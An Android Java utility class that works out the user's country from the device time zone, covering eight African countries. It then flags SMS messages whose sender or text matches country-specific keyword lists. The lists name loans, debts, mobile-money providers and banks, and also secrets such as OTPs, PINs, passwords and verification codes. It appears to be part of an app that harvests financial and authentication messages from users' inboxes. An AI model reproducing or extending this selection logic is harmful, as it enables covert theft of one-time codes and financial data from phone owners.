package com.test.nnooolwdeaer.dec_wooden;

import android.text.TextUtils;

import java.util.TimeZone;

public class FilterUtil_wooden {

    private static final String[] SMS_MOBILE_FILTERS_Cameroon = {"pret", "cash", "rejet", "automatique", "money", "guichet", "défaut", "règlement", "Dette", "credit"};
    private static final String[] SMS_MOBILE_FILTERS_Ghana = {"cash", "money"};
    private static final String[] SMS_MOBILE_FILTERS_Cote = {"automatique", "cash", "454", "money", "défaut", "règlement", "Dette", "rejet", "guichet"};
    private static final String[] SMS_MOBILE_FILTERS_Uganda = {"kopa", "Settle", "146", "cash", "equity", "mypakapaka", "ATM", "pesa", "beerako", "airtel", "mtn", "rsms", "loan", "money", "Default", "sente", "centenary", "Debt", "reject", "stanbic", "credit", "puntoinfo", "lend"};
    private static final String[] SMS_MOBILE_FILTERS_Zambia = {"kwacha", "211", "mtn", "cash", "unifisiliza", "Default", "ATM", "airtel", "tclnotebiu", "loan", "kyc", "money", "Settle", "momo", "zanaco", "Debt", "reject"};
    private static final String[] SMS_MOBILE_FILTERS_Senegal = {"automatique", "info", "free", "défaut", "pret", "wave", "orange", "règlement", "loan", "topemprun", "rejet", "Dette", "money", "guichet"};
    private static final String[] SMS_MOBILE_FILTERS_Tanzania = {"money", "airtel", "pesa", "vodacom", "halotel", "cash", "finance", "mkopo", "kmi", "dexintec", "singularity", "branch", "bank", "nmb", "flexitz", "msafi"};
    private static final String[] SMS_MOBILE_FILTERS_Kenya = {"airtel", "game", "kcb", "cash", "pesa", "branch", "mulla", "safaricom", "okoa", "bet", "kash", "bank"};

    private static final String[] SMS_CONTENT_FILTERS_Cameroon = {"prêt", "otp", "code", "fcfa", "cash", "transaction", "balance", "pret", "loan", "retrait", "credit", "xaf", "liste", "money", "vérification", "pénalité", "blanc", "transfert"};
    private static final String[] SMS_CONTENT_FILTERS_Ghana = {"credit", "cash", "cedi", "loan", "otp", "code", "money", "ghs"};
    private static final String[] SMS_CONTENT_FILTERS_Cote = {"balance", "code", "vérification", "fcfa", "xof", "retrait", "blanc", "loan", "cash", "otp", "transaction", "liste", "money", "credit", "pénalité", "transfert", "solde"};
    private static final String[] SMS_CONTENT_FILTERS_Uganda = {"list" ,"Transaction","Transfer","money", "airtel", "White","balance","Penalty","Withdrawal","Checking","mtn", "pesa", "lend", "loan", "sente", "cash", "otp", "pin", "code", "credit", "kash", "verification", "due", "payment", "password", "settle", "paid"};
    private static final String[] SMS_CONTENT_FILTERS_Zambia = {"pin", "cash", "Verification", "loan", "paid", "airtel", "momo", "Withdrawal", "otp", "settle", "application", "kash", "Transaction", "balance", "White", "list", "Transfer", "due", "password", "mtn", "Checking", "Penalty", "code", "approved", "lend", "money", "credit"};
    private static final String[] SMS_CONTENT_FILTERS_Senegal = {"transfert", "pret", "verification", "money", "de passe", "blanc", "loan", "pénalité", "liste", "balance", "vérification", "retrait", "transaction", "credit"};
    private static final String[] SMS_CONTENT_FILTERS_Tanzania = {"unakumbushwa kulipa", "mkopo", "loan", "amelipa tsh", "due", "airtel", "password", "cash", "credit", "otp", "malipo yamepokelewa kwenda", "code", "money", "lend", "kiasi chako cha kinadaiwa", "approved", "nambari"};
    private static final String[] SMS_CONTENT_FILTERS_Kenya = {"approved", "cash", "loan", "repay", "otp", "code", "bet", "payment", "verification", "lend", "application", "password", "due"};

    private static final String Timezone_Senegal = "Africa/Dakar";
    private static final String Timezone_Tanzania = "Africa/Dar_es_Salaam";
    private static final String Timezone_Uganda = "Africa/Kampala";
    private static final String Timezone_CoteDIvoire = "Africa/Abidjan";
    private static final String Timezone_Ghana = "Africa/Accra";
    private static final String Timezone_Cameroon = "Africa/Douala";
    private static final String Timezone_Zambia = "Africa/Lusaka";
    private static final String Timezone_Kenya = "Africa/Nairobi";

    public static boolean smsMobileFiltration(String mobile){

        String tzId = TimeZone.getDefault().getID();

        if (tzId == null) return filtration(mobile, new String[]{""});

        return switch (tzId) {
            case Timezone_Cameroon -> filtration(mobile, SMS_MOBILE_FILTERS_Cameroon);
            case Timezone_Ghana -> filtration(mobile, SMS_MOBILE_FILTERS_Ghana);
            case Timezone_CoteDIvoire -> filtration(mobile, SMS_MOBILE_FILTERS_Cote);
            case Timezone_Uganda -> filtration(mobile, SMS_MOBILE_FILTERS_Uganda);
            case Timezone_Zambia -> filtration(mobile, SMS_MOBILE_FILTERS_Zambia);
            case Timezone_Senegal -> filtration(mobile, SMS_MOBILE_FILTERS_Senegal);
            case Timezone_Tanzania -> filtration(mobile, SMS_MOBILE_FILTERS_Tanzania);
            case Timezone_Kenya -> filtration(mobile, SMS_MOBILE_FILTERS_Kenya);
            default -> filtration(mobile, new String[]{""});
        };

    }

    public static boolean smsContentFiltration(String content){

        String tzId = TimeZone.getDefault().getID();

        if (tzId == null) return filtration(content, new String[]{""});

        return switch (tzId) {
            case Timezone_Cameroon -> filtration(content, SMS_CONTENT_FILTERS_Cameroon);
            case Timezone_Ghana -> filtration(content, SMS_CONTENT_FILTERS_Ghana);
            case Timezone_CoteDIvoire -> filtration(content, SMS_CONTENT_FILTERS_Cote);
            case Timezone_Uganda -> filtration(content, SMS_CONTENT_FILTERS_Uganda);
            case Timezone_Zambia -> filtration(content, SMS_CONTENT_FILTERS_Zambia);
            case Timezone_Senegal -> filtration(content, SMS_CONTENT_FILTERS_Senegal);
            case Timezone_Tanzania -> filtration(content, SMS_CONTENT_FILTERS_Tanzania);
            case Timezone_Kenya -> filtration(content, SMS_CONTENT_FILTERS_Kenya);
            default -> filtration(content, new String[]{""});
        };

    }

    private static boolean filtration(String content, String[] filters){
        if (TextUtils.isEmpty(content)) return false;
        for (String filter:filters){
            if (content.toLowerCase().contains(filter.toLowerCase()))
                return true;
        }
        return false;
    }

}
